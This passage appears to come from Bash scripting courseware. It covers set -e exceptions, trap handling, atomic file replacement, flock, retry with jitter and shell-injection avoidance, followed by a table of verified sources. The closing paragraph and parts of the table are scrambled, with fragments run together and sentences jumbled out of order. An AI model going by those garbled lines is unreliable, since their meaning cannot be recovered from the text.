if deploy; then … in the deploy function body, set -e does not take effect.The Bash manual specifies: a function or compound command executed in a context where -e is ignored (such as an if test) has all of its commands unaffected by -e; even if set -e is re-issued inside the function, it only takes effect after the outer command finishes.
ERR: report the failing command, exit code and call stack; EXIT: the single cleanup point, responsible for deleting temporary files, ending child processes, restoring state and preserving the exit code; INT/TERM: log and exit 128+N, turn the signal into one normal exit, leaving cleanup to EXIT.
Within one filesystem, mv calls rename(2), which atomically switches the directory entry; across filesystems mv degrades to copy + delete, and readers may see an incomplete file.
The kernel releases it automatically when all fds referencing that open file description are closed (process exit, including SIGKILL); child processes inheriting the fd extend the hold time. After the lock file is deleted, a new process creates a new inode and locks it immediately, entering the critical section at the same time as a process still waiting on the old inode.
Without jitter, clients that failed together retry at the same moment, and the thundering herd is merely postponed; full jitter spreads retries evenly. Usage errors (2), command not found (127), not executable (126), and 4xx parameter-validation failures should not be retried; non-idempotent operations should be retried only when an idempotency key is available.
Unquoted expansions (word splitting, globbing) → double quotes and arrays; eval / bash -c / ssh remote commands → avoid eval, use printf %q when necessary; arithmetic contexts ((( )), [[ -gt ]], array subscripts) → validate numbers with a regex first; sourcing a config file → parse it as KEY=VALUE.
| Topic | Verified conclusion | Sources (accessed 2026-11-17) |
|---|---|---|
| Bash version | GNU Bash 5.3 was released on 2025-07-05 (bug-bash mailing list announcement); new features include ${ cmd; } / ${| cmd; } command substitution,GLOBSORT; man page footer “GNU Bash 5.3 · 2025 April 7” | bug-bash 2025-07 announcement · bash(1) man7.org |
set -e Definition and exceptions | Verbatim quotation: pipeline/list/compound exits on non-zero; while/until, if/elif, non-last in &&/||, non-last in a pipeline (affected by pipefail),! negation does not exit; compound commands and functions executed in an ignored context are internally unaffected by -e; each subshell is independent; the ERR trap runs before exit | The Set Builtin(content checked against bash(1) on man7.org) |
-u,-E,-T,pipefail | manual text in Modules 1 and 2 | Same as above |
inherit_errexit | “command substitution inherits the value of the errexit option, instead of unsetting it in the subshell environment”; enabled in POSIX mode; introduced in 4.4 | The Shopt Builtin |
| trap | EXIT/ERR/DEBUG/RETURN semantics; ERR has the same exceptions as -e; signals ignored when a non-interactive shell starts cannot be trapped | Bourne Shell Builtins · Signals |
| mktemp | default template tmp.XXXXXXXXXX; files u+rw, directories u+rwx minus umask; -u marked unsafe; -t deprecated (GNU coreutils 9.11) | mktemp(1) |
| flock | -n,-w,-E (default 1),-o,-u,-s/-x source text and man page examples (util-linux 2.43 development page, 2026-05) | flock(1) |
| timeout | exit codes 124/125/126/127/137,-k,-s,--preserve-status,--foreground (GNU coreutils 9.11) | timeout(1) |
| Backoff and jitter | Full Jitter: sleep = random_between(0, min(cap, base * 2 ** attempt)) | AWS Architecture Blog |
| curl retry | --retry “transient errors”: timeouts, HTTP 408/429/500/502/503/504 | curl man page |
| Best practices | BashFAQ/105 (set -e), /045 (single instance), /062 (temporary files), /048 (eval), /020 (filenames); BashPitfalls; Google Shell Style Guide | Wooledge BashFAQ · Google Shell Style Guide |
Output labeled “Actual run result (Bash 5.2.37)” was really executed on 2026-11-17 in the authoring environment (GNU bash 5.2.37(1)-release, Git for Windows / MSYS2, GNU coreutils 8.32): Module 0's 12 scenario scripts, Module 1's PIPESTATUS / nounset / inherit_errexit / SIGPIPE, Module 2's trap order, call stacks, signal deferral and SIGINT ignored in background, Module 3's atomic report and interruption cleanup, Module 5's log filtering, Module 6's timeout and util::retry, Module 7's word splitting / %q / arithmetic injection, and Module 8's full opsctl v0.2 flow (except flock; the 7 v0.1 files were taken as-is fromthe Lesson 3 capstone lab, and v0.2 was modified on top of them and then run as a whole), plus the backup script of the capstone lab. util::retry <tries> <delay> <cmd> [args…] 's signature matches the Lesson 6 convention. These semantics do not change between Bash 5.2 and 5.3, but times, PIDs, random suffixes and backoff times differ every run.
The following videos had their titles and channels verified via the YouTube oEmbed API on 2026-11-17: Learn Linux TV “How To Write Bash Scripts In Linux - Complete Guide (Part 6 - Exit Codes)” (6N4RNPRx0xs), “Bash Scripting for Beginners: Complete Guide to Getting Started - Data Streams (Part 11)” (X8X8anN6Z4A), “How To Write Bash Scripts In Linux - Complete Guide (Part 17 - Backup Script)” (8ga0xhZuG6k); freeCodeCamp.org “Bash Scripting Tutorial for Beginners” (tK9Oc6AEnR4); linuxhint “Bash Scripting Full Course 3 Hours” (e7BufAVwDiM). English videos that specifically explain set -e exceptions, trap order, mktemp, flock, backoff and shell injection were all no verified entries were found, so the corresponding modules provide storyboards and authoritative documentation.
The “Audio” page uses the browser's Web Speech API (speechSynthesis, en-US) to read the script aloud in real time; English terms are pronounced with en-US; the result depends on the voices installed in the operating system. This courseware does not embed MP3; for offline audio, pass the script to any TTS tool.
- and running deletion demos, so the Module 7 lab (weird-name files) output is an example; word splitting,%q, arithmetic injection are actual run results.~.$? exit status is 0 and does not reflect the signal; this behavior is not a POSIX guarantee (dash and others do not do it), so this lesson consistently recommends an explicit trap for INT/TERM.set -u The exit code caused by bash -c is 127 on this machine under; different invocation methods may give different results, so scripts should only rely on “non-zero”.mktemp,timeout error text may differ from GNU; exit code conventions follow the GNU manual; please test before use.